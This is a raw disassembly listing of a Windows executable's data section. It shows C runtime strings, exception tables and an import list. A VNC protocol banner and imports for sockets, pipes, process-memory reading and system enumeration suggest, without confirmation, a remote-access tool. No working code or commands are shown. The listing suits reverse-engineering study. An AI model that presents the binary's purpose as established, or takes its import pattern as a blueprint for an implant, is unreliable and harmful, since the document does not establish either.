aRfb003_008	db 'RFB 003.008',0Ah,0  ; DATA XREF: .text:0041DDF8o
		align 4
aCorexitprocess	db 'CorExitProcess',0   ; DATA XREF: unknown_libname_1+Fo
		align 4
aMscoree_dll	db 'mscoree.dll',0      ; DATA XREF: unknown_libname_1o
		align 10h
oword_439580	xmmword	3FF00000000000003FF0000000000000h ; DATA XREF: _floor+E3r
oword_439590	xmmword	4330000000000000433h ; DATA XREF: _floor+46r
oword_4395A0	xmmword	4330000000000000BFF0000000000000h ; DATA XREF: _floor+10Er
oword_4395B0	xmmword	80000000000000008000000000000000h ; DATA XREF: _floor:ret_neg_oner
					; _floor+106r
oword_4395C0	xmmword	7FFh		; DATA XREF: _floor+5Fr
dword_4395D0	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	_CxxThrowException(x,x)+Eo
		dd 3, 19930520h, 2 dup(0)
oword_4395F0	xmmword	3FF00000000000003FF0000000000000h ; DATA XREF: _ceil+E3r
					; _ceil+10Ar
oword_439600	xmmword	4330000000000000433h ; DATA XREF: _ceil+46r
oword_439610	xmmword	0		; DATA XREF: _ceil:ret_oner
oword_439620	xmmword	7FFh		; DATA XREF: _ceil+5Fr
dbl_439630	db 0, 0, 0, 0, 0, 0, 0,	80h ; DATA XREF: _ceil:ret_zero_0r
stru_439638	_msEH <0FFFFFFFFh, offset loc_420A5C, offset loc_420A60>
					; DATA XREF: __strupr+2o __output+5Er
		align 8
stru_439648	_msEH <0FFFFFFFFh, offset loc_420EAF, offset loc_420EC3>
					; DATA XREF: start+2o
		align 8
byte_439658	db 6			; DATA XREF: __output:loc_422334r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		db 8,'`h````',0
		dd 78707000h, 8787878h,	807h, 8080007h,	8000008h, 7000800h
		dd 8
aNull_0:				; DATA XREF: .data:off_4437D0o
		unicode	0, <(null)>,0
		align 4
aNull		db '(null)',0           ; DATA XREF: .data:off_4437CCo
		align 10h
stru_4396D0	_msEH <0FFFFFFFFh, offset sub_422B6F, offset sub_422B73>
					; DATA XREF: sub_422B83-2Fo
		dd 41h dup(0)
asc_4397E0:				; DATA XREF: .data:off_4437D8o
		unicode	0, <	     (((((		    H>
		dw 10h
		dd 7 dup(100010h), 5 dup(840084h), 3 dup(100010h), 810010h
		dd 2 dup(810081h), 10081h, 9 dup(10001h), 100001h, 2 dup(100010h)
		dd 820010h, 2 dup(820082h), 20082h, 9 dup(20002h), 100002h
		dd 100010h, 200010h, 40h dup(0)
		db 2 dup(0)
word_4399E2	dw 20h			; DATA XREF: .data:off_4437DCo
aHH:
		unicode	0, <	    h((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(1810181h), 0Ah	dup(1010101h), 3 dup(100010h)
		dd 3 dup(1820182h), 0Ah	dup(1020102h), 2 dup(100010h)
		dd 10h dup(200020h), 480020h, 8	dup(100010h), 140010h
		dd 100014h, 2 dup(100010h), 100014h, 2 dup(100010h), 1010010h
		dd 0Bh dup(1010101h), 1010010h,	3 dup(1010101h), 0Ch dup(1020102h)
		dd 1020010h, 3 dup(1020102h), 1010102h,	0
stru_439BE8	_msEH <0FFFFFFFFh, offset loc_423284, offset loc_423288>
					; DATA XREF: sub_423257+2o
		align 8
stru_439BF8	_msEH <0FFFFFFFFh, offset loc_4232C8, offset loc_4232CC>
					; DATA XREF: sub_42329B+2o
		align 8
stru_439C08	_msEH <0FFFFFFFFh, offset loc_4239CB, offset loc_4239CF>
					; DATA XREF: __input+5o
		dd 2 dup(0)
		dd 7FF00000h, 0
		dd 0FFF00000h, 0
		dd 7FE00000h, 0
		dd 200000h, 3 dup(0)
		dd 80000000h, 7F800000h, 0FF800000h, 7FC00000h,	0FFC00000h
		dd 0
		dd 80000000h, 7149F2CAh, 0F149F2CAh, 0DA24260h,	8DA24260h
		dd 0C2F8F359h, 1A56E1Fh, 0C2F8F359h, 81A56E1Fh
aAtan		db 'atan',0             ; DATA XREF: ___libm_error_support:loc_4245CAo
		align 4
aCeil		db 'ceil',0             ; DATA XREF: ___libm_error_support:loc_4245C1o
		align 10h
aFloor		db 'floor',0            ; DATA XREF: ___libm_error_support:loc_4245B8o
		align 4
aModf		db 'modf',0             ; DATA XREF: ___libm_error_support+20Fo
		align 10h
aExp2		db 'exp2',0             ; DATA XREF: ___libm_error_support:loc_424543o
		align 4
aExp10		db 'exp10',0            ; DATA XREF: ___libm_error_support+1A2o
		align 10h
aLog2		db 'log2',0             ; DATA XREF: ___libm_error_support:loc_424510o
					; ___libm_error_support+192o
		align 4
aPow		db 'pow',0              ; DATA XREF: ___libm_error_support:loc_42443Bo
					; ___libm_error_support+CFo ...
aLog10		db 'log10',0            ; DATA XREF: ___libm_error_support:loc_4243FEo
					; ___libm_error_support+7Co ...
		align 4
aExp		db 'exp',0              ; DATA XREF: ___libm_error_support+4Eo
					; ___libm_error_support+61o ...
stru_439CC8	_msEH <0FFFFFFFFh, offset loc_42463E, offset loc_424642>
					; DATA XREF: _has_osfxsr_set+2o
; char aAuthenticamd[]
aAuthenticamd	db 'AuthenticAMD',0     ; DATA XREF: ___sse2_available_init+73o
		align 8
dbl_439CE8	dq 1.0			; DATA XREF: __floor_default+6Dr
					; __ms_p5_test_fdiv+2Ar ...
dbl_439CF0	dq 0.0			; DATA XREF: __positive+6r
					; __handle_exc+8Dr ...
; char aE000[]
aE000		db 'e+000',0            ; DATA XREF: __cftoe+93o
		align 10h
dbl_439D00	dq 4.195835e6		; DATA XREF: __ms_p5_test_fdiv+Fr
dbl_439D08	dq 3.145727e6		; DATA XREF: __ms_p5_test_fdiv+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: __ms_p5_mp_test_fdiv+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: __ms_p5_mp_test_fdivo
		align 4
stru_439D38	_msEH <0FFFFFFFFh, 0, offset sub_424D5E>
					; DATA XREF: ___FrameUnwindToState+2o
		align 8
		dd offset loc_424D24
		dd offset loc_424D2D
stru_439D50	_msEH <0FFFFFFFFh, offset sub_424DA8, offset sub_424DB1>
					; DATA XREF: ___DestructExceptionObject+2o
		align 10h
stru_439D60	_msEH <0FFFFFFFFh, 0, offset sub_424F16>
					; DATA XREF: CallCatchBlock(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong)+2o
		align 10h
		dd offset loc_424E52
		dd offset loc_424EA1
stru_439D78	_msEH <0FFFFFFFFh, offset sub_4250F2, offset sub_4250F6>
					; DATA XREF: BuildCatchObject(EHExceptionRecord	*,void *,_s_HandlerType	const *,_s_CatchableType const *)+2o
		align 8
stru_439D88	_msEH <0FFFFFFFFh, offset loc_4254D2, offset loc_4254D6>
					; DATA XREF: sub_4254B5+2o
		align 8
stru_439D98	_msEH <0FFFFFFFFh, offset loc_4254FF, offset loc_425503>
					; DATA XREF: sub_4254E2+2o
dword_439DA4	dd 0			; DATA XREF: ___crtLCMapStringA+1Co
					; ___crtGetStringTypeA+1Eo ...
stru_439DA8	_msEH <0FFFFFFFFh, offset loc_425E4E, offset loc_425E52>
					; DATA XREF: ___crtLCMapStringA+2o
		dd 0FFFFFFFFh, 425C4Bh,	425C4Fh, 0FFFFFFFFh, 425D19h, 425D1Dh
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
aDomainError	db 'DOMAIN error',0Dh,0Ah,0
		align 10h
aR6029ThisAppli	db 'R6029',0Dh,0Ah
		db '- This application cannot run using the active version of the Mic'
		db 'rosoft .NET Runtime',0Ah
		db 'Please contact the application',27h,'s support team for more informa'
		db 'tion.',0Dh,0Ah,0
		align 4
aR6028UnableToI	db 'R6028',0Dh,0Ah
		db '- unable to initialize heap',0Dh,0Ah,0
		align 4
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aThisApplicatio	db 0Dh,0Ah
		db 'This application has requested the Runtime to terminate it in an '
		db 'unusual way.',0Ah
		db 'Please contact the application',27h,'s support team for more informa'
		db 'tion.',0Dh,0Ah,0
		align 10h
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 4
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: .data:off_443A8Co
		db '- floating point not loaded',0Dh,0Ah,0
		align 10h
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: __NMSG_WRITE+123o
					; ___security_error_handler+132o
		align 4
; char asc_43A198[]
asc_43A198	db 0Ah			; DATA XREF: __NMSG_WRITE+107o
					; ___security_error_handler+FCo
		db 0Ah,0
		align 4
; char aRuntimeErrorPr[]
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: __NMSG_WRITE+F5o
		db 0Ah
		db 'Program: ',0
		align 4
; char a___[]
a___		db '...',0              ; DATA XREF: __NMSG_WRITE+C1o
					; ___security_error_handler+CCo
; char aProgramNameUnk[]
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: __NMSG_WRITE+8Eo
					; ___security_error_handler+8Bo
		align 8
stru_43A1D8	_msEH <0FFFFFFFFh, offset loc_426E79, offset loc_426E7D>
					; DATA XREF: ___crtGetStringTypeA+2o
; char aProgram[]
aProgram	db 'Program: ',0        ; DATA XREF: ___security_error_handler+108o
		align 10h
aABufferOverrun	db 'A buffer overrun has been detected which has corrupted the progra'
					; DATA XREF: ___security_error_handler+62o
		db 'm',27h,'s',0Ah
		db 'internal state.  The program cannot safely continue execution and'
		db ' must',0Ah
		db 'now be terminated.',0Ah,0
aBufferOverrunD	db 'Buffer overrun detected!',0
					; DATA XREF: ___security_error_handler:loc_42701Do
		align 10h
aASecurityError	db 'A security error of unknown cause has been detected which has',0Ah
					; DATA XREF: ___security_error_handler+4Co
		db 'corrupted the program',27h,'s internal state.  The program cannot sa'
		db 'fely',0Ah
		db 'continue execution and must now be terminated.',0Ah,0
		align 4
; char aUnknownSecurit[]
aUnknownSecurit	db 'Unknown security failure detected!',0
					; DATA XREF: ___security_error_handler+47o
		align 4
stru_43A388	_msEH <0FFFFFFFFh, offset loc_426FF8, offset loc_426FFC>
					; DATA XREF: ___security_error_handler+5o
a_nextafter	db '_nextafter',0
		align 10h
a_logb		db '_logb',0
		align 4
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aFabs		db 'fabs',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 10h
aAcos		db 'acos',0
		align 4
aAsin		db 'asin',0
		align 10h
aTanh		db 'tanh',0
		align 4
aCosh		db 'cosh',0
		align 10h
aSinh		db 'sinh',0
		align 4
stru_43A428	_msEH <0FFFFFFFFh, offset loc_4283F0, offset loc_4283F4>
					; DATA XREF: ___convertcp+2o
aGetprocesswind	db 'GetProcessWindowStation',0 ; DATA XREF: ___crtMessageBoxA+73o
aGetuserobjecti	db 'GetUserObjectInformationA',0 ; DATA XREF: ___crtMessageBoxA+62o
		align 4
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: ___crtMessageBoxA+47o
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: ___crtMessageBoxA+3Fo
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: ___crtMessageBoxA+2Eo
; char a1Qnan[]
a1Qnan		db '1#QNAN',0           ; DATA XREF: _$I10_OUTPUT:loc_4290D4o
		align 10h
; char a1Inf[]
a1Inf		db '1#INF',0            ; DATA XREF: _$I10_OUTPUT+CFo
		align 4
a1Ind		db '1#IND',0            ; DATA XREF: _$I10_OUTPUT+BEo
		align 10h
a1Snan		db '1#SNAN',0           ; DATA XREF: _$I10_OUTPUT+A4o
		align 4
		dd offset dword_43A5F4
off_43A4BC	dd offset sub_429779	; DATA XREF: sub_429712+20o
					; sub_42975C+Ao ...
		dd offset unknown_libname_8 ; Microsoft	VisualC	2-8/net	runtime
		dd offset dword_43A640
off_43A4C8	dd offset sub_429795	; DATA XREF: sub_4297B1o
					; sub_42987E+33o ...
		dd offset unknown_libname_8 ; Microsoft	VisualC	2-8/net	runtime
		dd offset dword_43A68C
off_43A4D4	dd offset sub_4297BC	; DATA XREF: sub_4297D8o
					; sub_4297E3+33o ...
		dd offset unknown_libname_8 ; Microsoft	VisualC	2-8/net	runtime
; char aInvalidStringP[]
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_4297E3+Do
; char aStringTooLong[]
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_42987E+Do
		dd offset dword_43A6D0
off_43A508	dd offset ??_Gtype_info@@UAEPAXI@Z ; DATA XREF:	type_info::~type_info(void)o
					; .data:off_443FC4o ...
					; type_info::`scalar deleting destructor'(uint)
		dd offset dword_43A6FC
off_43A510	dd offset sub_429A44	; DATA XREF: sub_4299C6+Ao
					; exception::exception(exception const &)+8o ...
		dd offset unknown_libname_9 ; Microsoft	VisualC	2-8/net	runtime
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: unknown_libname_9+7o
		align 10h
stru_43A530	_msEH <0FFFFFFFFh, offset loc_429C94, offset loc_429C98>
					; DATA XREF: ___crtLCMapStringW+2o
		dd 0FFFFFFFFh, 429D21h,	429D25h
stru_43A548	_msEH <0FFFFFFFFh, offset loc_429F28, offset loc_429F2C>
					; DATA XREF: ___crtGetStringTypeW+2o
		dd 0FFFFFFFFh, 429F9Ah,	429F9Eh, 48h, 0Eh dup(0)
		dd offset dword_4437D4
		dd offset dword_43A710
dword_43A5A4	dd 0Ah,	443FC4h, 2 dup(0) ; DATA XREF: .rdata:0043A5DCo
					; .rdata:0043A628o ...
		dd 0FFFFFFFFh, 2 dup(0)
off_43A5C0	dd offset off_443FDC	; DATA XREF: .rdata:0043A5D8o
					; .rdata:0043A624o ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_43A5C0
		dd offset dword_43A5A4+4
dword_43A5E0	dd 3 dup(0)		; DATA XREF: .rdata:0043A604o
		dd 2, 43A5D8h
dword_43A5F4	dd 3 dup(0)		; DATA XREF: .rdata:0043A4B8o
		dd offset off_443FDC
		dd offset dword_43A5E0+4
off_43A608	dd offset off_443FFC	; DATA XREF: .rdata:0043A620o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_43A608
		dd offset off_43A5C0
		dd offset dword_43A5A4+4
dword_43A62C	dd 3 dup(0)		; DATA XREF: .rdata:0043A650o
		dd 3, 43A620h
dword_43A640	dd 3 dup(0)		; DATA XREF: .rdata:0043A4C4o
		dd offset off_443FFC
		dd offset dword_43A62C+4
off_43A654	dd offset off_44401C	; DATA XREF: .rdata:0043A66Co
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_43A654
		dd offset off_43A5C0
		dd offset dword_43A5A4+4
dword_43A678	dd 3 dup(0)		; DATA XREF: .rdata:0043A69Co
		dd 3, 43A66Ch
dword_43A68C	dd 3 dup(0)		; DATA XREF: .rdata:0043A4D0o
		dd offset off_44401C
		dd offset dword_43A678+4
off_43A6A0	dd offset off_44403C	; DATA XREF: .rdata:0043A6B8o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_43A6A0
dword_43A6BC	dd 3 dup(0)		; DATA XREF: .rdata:0043A6E0o
		dd 1, 43A6B8h
dword_43A6D0	dd 3 dup(0)		; DATA XREF: .rdata:0043A504o
		dd offset off_44403C
		dd offset dword_43A6BC+4
		dd offset dword_43A5A4+4
dword_43A6E8	dd 3 dup(0)		; DATA XREF: .rdata:0043A70Co
		dd 1, 43A6E4h
dword_43A6FC	dd 3 dup(0)		; DATA XREF: .rdata:0043A50Co
		dd offset off_443FC4
		dd offset dword_43A6E8+4
dword_43A710	dd 1FF7Fh, 2007Fh, 20294h, 25F68h, 2A056h, 2A068h, 2A082h
					; DATA XREF: .rdata:0043A5A0o
		dd 2A09Ah, 2A0ACh, 2A0BEh, 0
dword_43A73C	dd 2 dup(0)		; DATA XREF: sub_423257+Co
					; sub_423257:loc_42326Ao
dword_43A744	dd 0			; DATA XREF: sub_42329B+Co
					; sub_42329B:loc_4232AEo
stru_43A748	_msExcInfo 2 dup(<-1, 0>) ; DATA XREF: .rdata:stru_43A7B0o
		_msExcInfo 2 dup(<1, 0>)
stru_43A768	_msRttiDscr <0,	0, 0, offset sub_40F0F7> ; DATA	XREF: .rdata:stru_43A788o
stru_43A778	_msRttiDscr <0,	0, 0, offset loc_40F083> ; DATA	XREF: .rdata:stru_43A788o
stru_43A788	dd 2, 2, 3		; _unk ; DATA XREF: .rdata:stru_43A7B0o
		dd 1			; Count
		dd offset stru_43A768	; RttiBlkPtr
		dd 0, 0, 3		; _unk
		dd 1			; Count
		dd offset stru_43A778	; RttiBlkPtr
stru_43A7B0	_msExcept7 <19930520h, 4, offset stru_43A748, 2, offset	stru_43A788, 0>
					; DATA XREF: unknown_libname_10o
stru_43A7CC	_msExcInfo <-1,	offset sub_42A060> ; DATA XREF:	.rdata:stru_43A7D4o
stru_43A7D4	_msExcept7 <19930520h, 1, offset stru_43A7CC, 0, 0, 0>
					; DATA XREF: .text:loc_42A068o
stru_43A7F0	_msExcInfo <-1,	offset sub_42A072> ; DATA XREF:	.rdata:stru_43A800o
		_msExcInfo <0, offset sub_42A07A>
stru_43A800	_msExcept7 <19930520h, 2, offset stru_43A7F0, 0, 0, 0>
					; DATA XREF: sub_42A082o
stru_43A81C	_msExcInfo <-1,	offset sub_42A08C> ; DATA XREF:	.rdata:stru_43A824o
stru_43A824	_msExcept7 <19930520h, 1, offset stru_43A81C, 0, 0, 0>
					; DATA XREF: .text:loc_42A09Ao
		dd 0FFFFFFFFh, 42A0A4h,	19930520h, 1, 43A840h, 5 dup(0)
		dd offset off_443FC4
		align 10h
		dd 0FFFFFFFFh, 0
		dd 0Ch,	4299D7h, 0
		dd offset off_443FDC
		dd 0
		dd 0FFFFFFFFh, 0
		dd 28h,	429823h, 0
		dd offset off_44401C
		align 8
		dd 0FFFFFFFFh, 0
dword_43A8B0	dd 28h,	429866h, 3, 43A89Ch, 43A880h, 43A864h ;	DATA XREF: .rdata:0043A8D4o
dword_43A8C8	dd 0			; DATA XREF: sub_4297E3+2Ao
		dd offset sub_4297D8
		dd 0
		dd offset dword_43A8B0+8
		dd 0FFFFFFFFh, 42A0B6h,	19930520h, 1, 43A8D8h, 4 dup(0)
stru_43A8FC	_msExcInfo <-1,	offset sub_42A0A4> ; DATA XREF:	.rdata:stru_43A904o
stru_43A904	_msExcept7 <19930520h, 1, offset stru_43A8FC, 0, 0, 0>
					; DATA XREF: .text:loc_42A0ACo
		dd 0
		dd offset off_443FFC
		dd 0
		dd 0FFFFFFFFh, 0
dword_43A934	dd 28h,	4298BEh, 3, 43A920h, 43A880h, 43A864h ;	DATA XREF: .rdata:0043A958o
dword_43A94C	dd 0			; DATA XREF: sub_42987E+2Ao
		dd offset sub_4297B1
		align 8
		dd offset dword_43A934+8
stru_43A95C	_msExcInfo <-1,	offset sub_42A0B6> ; DATA XREF:	.rdata:stru_43A964o
stru_43A964	_msExcept7 <19930520h, 1, offset stru_43A95C, 0, 0, 0>
					; DATA XREF: .text:loc_42A0BEo
		dd 3A9BCh, 2 dup(0)
		dd 3B188h, 2B000h, 3AB8Ch, 2 dup(0)
		dd 3B1A4h, 2B1D0h, 5 dup(0)
		dd 3ABE4h, 3ABF2h, 3AC00h, 3AC12h, 3AC28h, 3AC3Eh, 3AC46h
		dd 3AC56h, 3AC66h, 3AC78h, 3AC8Ch, 3AC9Eh, 3ACACh, 3ACBCh
		dd 3ACC8h, 3ACD8h, 3ACE8h, 3ACF6h, 3AD0Ch, 3AD18h, 3AD2Eh
		dd 3AD44h, 3AD5Ah, 3AD6Ah, 3AD7Eh, 3AD90h, 3ADA0h, 3ADAEh
		dd 3ADC6h, 3ADDEh, 3AE06h, 3AE1Eh, 3AE34h, 3AE40h, 3AE4Ch
		dd 3AE60h, 3AE6Eh, 3AE84h, 3AE98h, 3AEAAh, 3AEBEh, 3AECCh
		dd 3AED8h, 3AEF0h, 3AF0Ah, 3AF1Ah, 3AF2Ch, 3AF3Eh, 3AF4Ch
		dd 3AF5Eh, 3AF70h, 3AF88h, 3AFA4h, 3AFBEh, 3AFCEh, 3AFE8h
		dd 3B004h, 3B010h, 3B01Ch, 3B02Eh, 3B040h, 3B054h, 3B064h
		dd 3B072h, 3B08Ch, 3B09Eh, 3B0AEh, 3B0BCh, 3B0CEh, 3B0DEh
		dd 3B0F4h, 3B102h, 3B110h, 3B12Ch, 3B138h, 3B14Eh, 3B15Eh
		dd 3B172h, 3B422h, 3B412h, 3B402h, 3B3F6h, 3B3E0h, 3B3CEh
		dd 3B3BCh, 3B3A8h, 3B398h, 3B37Eh, 3B364h, 3B34Ch, 3B332h
		dd 3B316h, 3B306h, 3B2F6h, 3B2E6h, 3B2D4h, 3B2B6h, 3B2A8h
		dd 3B298h, 3B286h, 3B27Ah, 3B1B0h, 3B1BEh, 3B1D8h, 3B1E4h
		dd 3B1F6h, 3B208h, 3B21Ah, 3B228h, 3B236h, 3B244h, 3B254h
		dd 3B264h, 3B26Eh, 3B438h, 0
		dd 3B196h, 80000007h, 8000000Fh, 8000000Ch, 80000015h
		dd 8000000Ah, 80000002h, 8000000Dh, 80000001h, 80000004h
		dd 80000003h, 80000074h, 80000009h, 80000073h, 80000010h
		dd 80000017h, 80000013h, 80000097h, 8000000Bh, 80000012h
		dd 80000006h, 0
		dd 784500AFh, 72507469h, 7365636Fh, 2E0073h, 736F6C43h
		dd 6E614865h, 656C64h, 72430060h, 65746165h, 636F7250h
		dd 41737365h, 1750000h
aGetmodulefilen	db 'GetModuleFileNameA',0
		align 4
		db 0B9h	; ¹
		db 1, 47h, 65h
aTsystemdirecto	db 'tSystemDirectoryA',0
		dw 347h
aSleep		db 'Sleep',0
		dw 248h
aLoadlibrarya	db 'LoadLibraryA',0
		align 2
		dw 169h
aGetlasterror	db 'GetLastError',0
		align 2
		dw 198h
aGetprocaddress	db 'GetProcAddress',0
		align 4
		dd 65470177h, 646F4D74h, 48656C75h, 6C646E61h, 4165h, 65540350h
		dd 6E696D72h, 54657461h, 61657268h, 7C0064h, 656C6544h
		dd 69466574h, 41656Ch, 654701CBh, 6D655474h, 74615070h
		dd 4168h, 6F4D0264h, 69466576h,	41656Ch, 654701D5h, 63695474h
		dd 756F436Bh, 746Eh, 72430069h,	65746165h, 65726854h, 6461h
		dd 704F027Ah, 72506E65h, 7365636Fh, 13B0073h
aGetcurrentproc	db 'GetCurrentProcessId',0
		db '=',0
aCopyfilea	db 'CopyFileA',0
		db  0Ch
		db 3, 53h, 65h
aTfileattribute	db 'tFileAttributesA',0
		align 2
		dw 156h
aGetfileattribu	db 'GetFileAttributesA',0
		align 4
		db  83h	; ƒ
		db 3, 57h, 61h
aItforsingleobj	db 'itForSingleObject',0
aZ_1		db 'Z',0
aCreatemutexa	db 'CreateMutexA',0
		align 2
		dw 10Ch
aGetcomputernam	db 'GetComputerNameA',0
		align 2
		dw 16Ch
aGetlocaleinfoa	db 'GetLocaleInfoA',0
		align 10h
		dd 654701DFh, 72655674h, 6E6F6973h, 417845h, 784500B0h
		dd 68547469h, 64616572h, 2470000h
aLeavecriticals	db 'LeaveCriticalSection',0
		align 2
aP_1		db '',0
aEntercriticals	db 'EnterCriticalSection',0
		align 2
		dw 21Ah
aInitializecrit	db 'InitializeCriticalSectionAndSpinCount',0
aZ_2		db 'z',0
aDeletecritical	db 'DeleteCriticalSection',0
		dw 26Bh
aMultibytetowid	db 'MultiByteToWideChar',0
		db 0A9h	; ©
		db 2, 52h, 65h
aAdfile		db 'adFile',0
		align 10h
		db  94h	; ”
		db 3, 57h, 72h
aItefile	db 'iteFile',0
		db  59h	; Y
		db 3, 54h, 72h
aAnsactnamedpip	db 'ansactNamedPipe',0
aM_2		db 'M',0
aCreatefilea	db 'CreateFileA',0
		dw 387h
aWidechartomult	db 'WideCharToMultiByte',0
		dd 6554034Fh, 6E696D72h, 50657461h, 65636F72h, 7373h, 7544008Ch
		dd 63696C70h, 48657461h, 6C646E61h, 13A0065h
aGetcurrentpr_0	db 'GetCurrentProcess',0
a__2		db '_',0
aCreatepipe	db 'CreatePipe',0
		align 4
		db 'Å',0
aFindclose	db 'FindClose',0
		db '¼',0
aFiletimetosyst	db 'FileTimeToSystemTime',0
		align 10h
		db '»',0
aFiletimetoloca	db 'FileTimeToLocalFileTime',0
		db 'Ó',0
aFindnextfilea	db 'FindNextFileA',0
		db 'É',0
aFindfirstfilea	db 'FindFirstFileA',0
		align 4
		db  0Eh
		db 3, 53h, 65h
aTfilepointer	db 'tFilePointer',0
		align 2
		dw 15Bh
aGetfilesize	db 'GetFileSize',0
		db 0D6h	; Ö
		db 1, 47h, 65h
aTtimeformata	db 'tTimeFormatA',0
		align 2
		dw 13Fh
aGetdateformata	db 'GetDateFormatA',0
		align 10h
		db 0E1h	; á
		db 2, 53h, 65h
aTconsolectrlha	db 'tConsoleCtrlHandler',0
		db 0F4h	; ô
		align 2
aGenerateconsol	db 'GenerateConsoleCtrlEvent',0
		align 4
		db  81h	; 
		db 3, 57h, 61h
aItformultipleo	db 'itForMultipleObjects',0
		align 2
		dw 16Bh
aGetlocaltime	db 'GetLocalTime',0
		align 2
		dw 297h
aQueryperform_1	db 'QueryPerformanceCounter',0
		db  98h	; ˜
		db 2, 51h, 75h
aEryperformance	db 'eryPerformanceFrequency',0
		db  0Ch
		db 2, 48h, 65h
aApfree		db 'apFree',0
		align 10h
		db    6
		db 2, 48h, 65h
aApalloc	db 'apAlloc',0
		db  9Bh	; ›
		db 1, 47h, 65h
aTprocessheap	db 'tProcessHeap',0
		align 2
		dw 37Ch
aVirtualqueryex	db 'VirtualQueryEx',0
		align 10h
		db 0ACh	; ¬
		db 2, 52h, 65h
aAdprocessmemor	db 'adProcessMemory',0
		dd 654701BBh, 73795374h, 496D6574h, 6F666Eh, 724600EFh
		dd 694C6565h, 72617262h, 1510079h
aGetenvironment	db 'GetEnvironmentVariableW',0
		db 'ê',0
aFormatmessagea	db 'FormatMessageA',0
		db 2 dup(0), 2
aGlobalunlock	db 'GlobalUnlock',0
		align 2
		dw 1F9h
aGloballock	db 'GlobalLock',0
		align 4
		dd 6E550363h, 5670616Dh, 4F776569h, 6C694666h, 25E0065h
		dd 5670614Dh, 4F776569h, 6C694666h, 4E0065h
aCreatefilemapp	db 'CreateFileMappingA',0
		align 4
		db  12h
		db 3, 53h, 65h
aTfiletime	db 'tFileTime',0
		dw 15Dh
aGetfiletime	db 'GetFileTime',0
		db '²',0
aExpandenvironm	db 'ExpandEnvironmentStringsA',0
		db 0B3h	; ³
		db 3, 6Ch, 73h
aTrcmpia	db 'trcmpiA',0
		db  52h	; R
		db 1, 47h, 65h
aTexitcodeproce	db 'tExitCodeProcess',0
		align 2
		dw 285h
aPeeknamedpipe	db 'PeekNamedPipe',0
		dw 170h
aGetlogicaldr_0	db 'GetLogicalDrives',0
		align 2
		dw 1FAh
aGlobalmemoryst	db 'GlobalMemoryStatus',0
		align 4
aKernel32_dll_0	db 'KERNEL32.dll',0
		align 2
a@_0		db '@',0
aWsasocketa_0	db 'WSASocketA',0
		align 4
aWs2_32_dll_0	db 'WS2_32.dll',0
		align 10h
		dd 65480210h, 65527061h, 6F6C6C41h, 1C00063h
aGetsystemtimea	db 'GetSystemTimeAsFileTime',0
		dd 745202CAh, 776E556Ch, 646E69h, 6152029Bh, 45657369h
		dd 70656378h, 6E6F6974h, 1AF0000h, 53746547h, 74726174h
		dd 6E497075h, 416F66h, 65470108h, 6D6F4374h, 646E616Dh
		dd 656E694Ch, 20A0041h,	70616548h, 74736544h, 796F72h
		dd 65480208h, 72437061h, 65746165h, 3760000h, 74726956h
		dd 466C6175h, 656572h, 69560373h, 61757472h, 6C6C416Ch
		dd 636Fh, 7349022Ch, 57646142h,	65746972h, 727450h, 654700F5h
		dd 50434174h, 18B0000h,	4F746547h, 50434D45h, 0FC0000h
		dd 43746547h, 666E4950h, 317006Fh, 48746553h, 6C646E61h
		dd 756F4365h, 746Eh, 654701B1h,	64745374h, 646E6148h, 656Ch
		dd 6547015Eh, 6C694674h, 70795465h, 33B0065h
